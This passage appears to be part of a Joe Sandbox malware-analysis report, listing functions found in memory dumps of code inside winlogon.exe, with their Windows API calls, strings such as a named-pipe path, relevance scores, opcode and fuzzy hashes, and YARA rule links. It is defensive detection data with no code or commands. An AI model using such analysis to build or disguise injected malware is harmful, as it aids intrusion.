Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction ID: c4f516db2d58fdcf09ade6254635e81a5d9be160786ec31a530a94dc5a945ec3
Opcode Fuzzy Hash: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction Fuzzy Hash: 54F08228318FA4A2EB108B9BB9081296621AB48FD2F18C531DE5A07B68CE3CC481C700

Function 00000225DC64A258 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000225DC64A274
GetProcAddress.KERNEL32 ref: 00000225DC64A28A
FreeLibrary.KERNEL32 ref: 00000225DC64A2A7

Strings

CorExitProcess, xrefs: 00000225DC64A283
mscoree.dll, xrefs: 00000225DC64A26B

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction ID: 5c98f814b2717666e63fde822be8a9d320cb222d300e0f8fa89a857e9905caf9
Opcode Fuzzy Hash: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction Fuzzy Hash: BAF08269339E50F1FF454FE8E88C3693360EB44F42F689869A50B45565CF38C488D710

Function 00000225DC650980 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000225DC6509C2
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000225DC65093F,?,?,?,00000225DC64E263), ref: 00000225DC650A80
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000225DC65093F,?,?,?,00000225DC64E263), ref: 00000225DC650B0A

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction ID: 0f0869d84fd53ab6ea288093c665d748a95b5168c1234e854c3338e1b2f4001a
Opcode Fuzzy Hash: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction Fuzzy Hash: C981D13AA24E70B9FB509FEDC8983AD27A0F744B9AF64C116DE0A5379ADB35C441C310

Function 00000225DC645B30 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000225DC645B46

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 902aea7c29ad1d985186d30b6172ed8f126ccee6087c2613379ee29d3f5c645a
Instruction ID: 6a0379e32459e306e126bed0441ef87126868a67170dd25357be7999984931ed
Opcode Fuzzy Hash: 902aea7c29ad1d985186d30b6172ed8f126ccee6087c2613379ee29d3f5c645a
Instruction Fuzzy Hash: 1661DC3A51DF94D6E760DB99E45831A77E0F388B45F109156EA8E87BA8EB7CC440CF04

Function 00000225DC6213D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC621400
_set_statfp.LIBCMT ref: 00000225DC62141B
_set_statfp.LIBCMT ref: 00000225DC621437
_set_statfp.LIBCMT ref: 00000225DC621473

Memory Dump Source

Source File: 0000000B.00000003.1759673624.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_225dc610000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 718e6fdeed9a9adea99c63c7ba1f7eed387718c4396f80e4f9f43301a54de90c
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 8011252EA0CE7131F76812ECE45E3A990506F94777F18C224EA7F1B7E69A388C41C200

Function 00000225DC651FD8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000225DC652000
_set_statfp.LIBCMT ref: 00000225DC65201B
_set_statfp.LIBCMT ref: 00000225DC652037
_set_statfp.LIBCMT ref: 00000225DC652073

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 5220a858afc79e42da2a67563d9900ef8f3c475e5090a1d32d5d42a008362e73
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 4111A92EB71E3126F76B1EECD49E36D53416B54376F78C624AE760A3D6CA3888C1C100

Function 00000225DC643558 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000225DC64357A
StrStrW.SHLWAPI ref: 00000225DC643594
StrToIntW.SHLWAPI ref: 00000225DC6435BB

Part of subcall function 00000225DC641934: OpenProcess.KERNEL32 ref: 00000225DC64195A
Part of subcall function 00000225DC641934: K32GetModuleFileNameExW.KERNEL32 ref: 00000225DC641978
Part of subcall function 00000225DC641934: PathFindFileNameW.SHLWAPI ref: 00000225DC641987
Part of subcall function 00000225DC641934: lstrlenW.KERNEL32 ref: 00000225DC641993
Part of subcall function 00000225DC641934: StrCpyW.SHLWAPI ref: 00000225DC6419A6
Part of subcall function 00000225DC641934: CloseHandle.KERNEL32 ref: 00000225DC6419B4

Part of subcall function 00000225DC643C70: StrCmpNIW.SHLWAPI(?,?,?,00000225DC64255A), ref: 00000225DC643C88

Strings

pid_, xrefs: 00000225DC643570

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction ID: c22a7db00d253f58136d9d1775b3b373fcc1f728726c29ad747a4587487ee6a6
Opcode Fuzzy Hash: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction Fuzzy Hash: D411811931CF6571EB10DBA9E80935A73A1F784B92F508071DE5AC3B95EF39C905C740

Function 00000225DC6414A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC6414C5
HeapFree.KERNEL32 ref: 00000225DC6414D4
GetProcessHeap.KERNEL32 ref: 00000225DC6414E1
HeapFree.KERNEL32 ref: 00000225DC6414F0
GetProcessHeap.KERNEL32 ref: 00000225DC641500

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction ID: bd53f42dd907213fd0dbf636d3fa9370317a7402f99812b588ab86bc55ced33c
Opcode Fuzzy Hash: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction Fuzzy Hash: FA010876624FA0D6E714DFBAE80815977A1F788F85F188835EA4A53728DF38C455CB40

Function 00000225DC642618 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC642701
StrCpyW.SHLWAPI ref: 00000225DC64271A

Strings

\\.\pipe\, xrefs: 00000225DC64270C

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction ID: e539cc0db90e06d70ee35d471f3c7cda66ac8f9e6424b185eea5754c5d75979f
Opcode Fuzzy Hash: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction Fuzzy Hash: 9B71C43A20CBA199E766DFEE98483AE77A5F385B86F548065DE0B43B98DF34C505C700

Function 00000225DC61D178 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000225DC61D249

Strings

bad array new length, xrefs: 00000225DC61D385, 00000225DC61D396
HIJKLMNOPQRSTUVWXYZ, xrefs: 00000225DC61D2A1, 00000225DC61D345

Memory Dump Source

Source File: 0000000B.00000003.1759673624.00000225DC610000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC610000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_3_225dc610000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: HIJKLMNOPQRSTUVWXYZ$bad array new length
API String ID: 3215553584-4137334423
Opcode ID: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction ID: 8fb73bca81c6f3bbd4f8502082ab705956e6a2f232d73ed21a21482d56adcd0a
Opcode Fuzzy Hash: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction Fuzzy Hash: 6761C139E06EB0B2FEAA9BDC914C36D67A4F742793F10C525DB1A077A5DA38C841C200

Function 00000225DC642408 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000225DC6424ED
StrCpyW.SHLWAPI ref: 00000225DC642504

Strings

\\.\pipe\, xrefs: 00000225DC6424F8

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction ID: 283e452f4dc49e6172955ca571761fce7bd5812099730cfdc5521d6b923f821b
Opcode Fuzzy Hash: 15f2f4e0f9d638f158a96525c1ecafbceb1b9e2c8075581ad63209208a78af1e
Instruction Fuzzy Hash: 6851182A20CBA5A1E67ADFEDA06C3BA7761F385782F658065DF4B43B49DA39C404C740

Function 00000225DC650724 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000225DC65083B
GetLastError.KERNEL32 ref: 00000225DC65085D

Strings

U, xrefs: 00000225DC6507E7

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction ID: bb11c882aadb6327b1bdfe44d72d638a204d06c6a5b0cbe3b30abc1ba246ec35
Opcode Fuzzy Hash: f44db66318a18b3e6bf0bbc027b995569a44fb504c85fb8b49b9fe2e6159cddc
Instruction Fuzzy Hash: DE411A36324F50A5EB20DFA9E8487AA77A0F788B85F518021EE4D87788DF3CC445CB40

Function 00000225DC64D7E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000225DC64D819
LCMapStringW.KERNEL32 ref: 00000225DC64D8A1

Strings

LCMapStringEx, xrefs: 00000225DC64D7FC, 00000225DC64D80D

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction ID: 427020b376e4c09a5661ea75c9ab15ac7223fe4e67b4b0c5e56b97b635498bde
Opcode Fuzzy Hash: 9eb651065806efa1f3c1ddeda68a4214a605e5c82d734f3d398dbc25806cdd5e
Instruction Fuzzy Hash: 2F111A3A608B9096D760CB5AF4842AAB7A5F7C9B85F548126EE8D83B59CF38C550CB00

Function 00000225DC6495F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000225DC649634
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000225DC6484FB), ref: 00000225DC64967A

Strings

csm, xrefs: 00000225DC649667

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction ID: 960868f448a03db2c21822a72a1f7356bddc94f91c19fb373935763ee4a634d0
Opcode Fuzzy Hash: ba97a2cfb4494a9593318773eec94a3c4e74a75ef8f777109a467670aa1db902
Instruction Fuzzy Hash: 4A11283A218B9092EB218F69F444259B7A4F788F95F588260EE8D07B69DF38C552CB00

Function 00000225DC64D77C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000225DC64D7AD
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,00000225DC64AE98), ref: 00000225DC64D7C7

Strings

InitializeCriticalSectionEx, xrefs: 00000225DC64D7A1

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction ID: b3f187545fe17d623a24baa53dc8594969e2c9e7263f256d5a5530cdc78f252b
Opcode Fuzzy Hash: e64e4740045ae81cdb2e514f923c51f250565fc9a097f0243aa16987f787090b
Instruction Fuzzy Hash: B6F0A72D728FA0E1EB059BD9F4486A93271FB48F92F64C5A5EA0A03B94CF38C945C740

Function 00000225DC64D728 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 00000225DC64D751
TlsSetValue.KERNEL32(?,?,?,00000225DC64B50E,?,?,?,00000225DC64B969,?,?,?,?,00000225DC64BA1D), ref: 00000225DC64D768

Strings

FlsSetValue, xrefs: 00000225DC64D73E

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction ID: 642fbd2dda96894f580812c56a5652b05d9000be71fdb728acab7feffa0d9173
Opcode Fuzzy Hash: fc325339b7f97732f837055afb4aa1383e496b4c3619d26f7748048e5b1acc4f
Instruction Fuzzy Hash: 2CE09B69618E50F1EA454BDCF4482EC3262FB48B82F68D165E506073D4DE38C845C700

Function 00000225DC641C28 Relevance: 5.0, APIs: 4, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641C65
HeapAlloc.KERNEL32 ref: 00000225DC641C74
GetProcessHeap.KERNEL32 ref: 00000225DC641C9C
HeapFree.KERNEL32 ref: 00000225DC641CAA

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction ID: 556b476d0f33124e422c36ad8569c178eac90306c37eaa587df2c31a934b8e95
Opcode Fuzzy Hash: 25d11f289d9fbfcfef02ead22fd34e1bae26a1daa0a4a5c4d43c16fe266dba3e
Instruction Fuzzy Hash: A411E915A18FA091EA15CBBAA808159B7E0FB88FA1F598324DF59537A4EF3CC042C700

Function 00000225DC641268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC64126E
HeapAlloc.KERNEL32 ref: 00000225DC64127D
GetProcessHeap.KERNEL32 ref: 00000225DC641297
HeapAlloc.KERNEL32 ref: 00000225DC6412A8

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction ID: 7f09943860e580462c33847df39b632ff2cb192837c8874d12c54d09fda5f2e5
Opcode Fuzzy Hash: f083a3077c0b1c945921efc18f57caeeb55b99edd70e436b0099e2dca6254ff4
Instruction Fuzzy Hash: A4E065B5A21A1096E7288FB6D80C34937E1FB88F0AF18C424C90907360DF7D8499CB80

Function 00000225DC641000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC641006
HeapAlloc.KERNEL32 ref: 00000225DC641015
GetProcessHeap.KERNEL32 ref: 00000225DC641028
HeapAlloc.KERNEL32 ref: 00000225DC641037

Memory Dump Source

Source File: 0000000B.00000002.2947029260.00000225DC641000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Associated: 0000000B.00000002.2946249694.00000225DC640000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2947951309.00000225DC653000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2948718553.00000225DC65D000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2949516333.00000225DC65F000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2950402978.00000225DC665000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
Instruction ID: 7ded313ef4c4c6f9e5bd58421574de81f15ac3b5dffddee828e04f0291a31005
Opcode Fuzzy Hash: 8415c691aaee8c46f1d02063215c92c698de3b3fb4a93955248209b4c764c50b
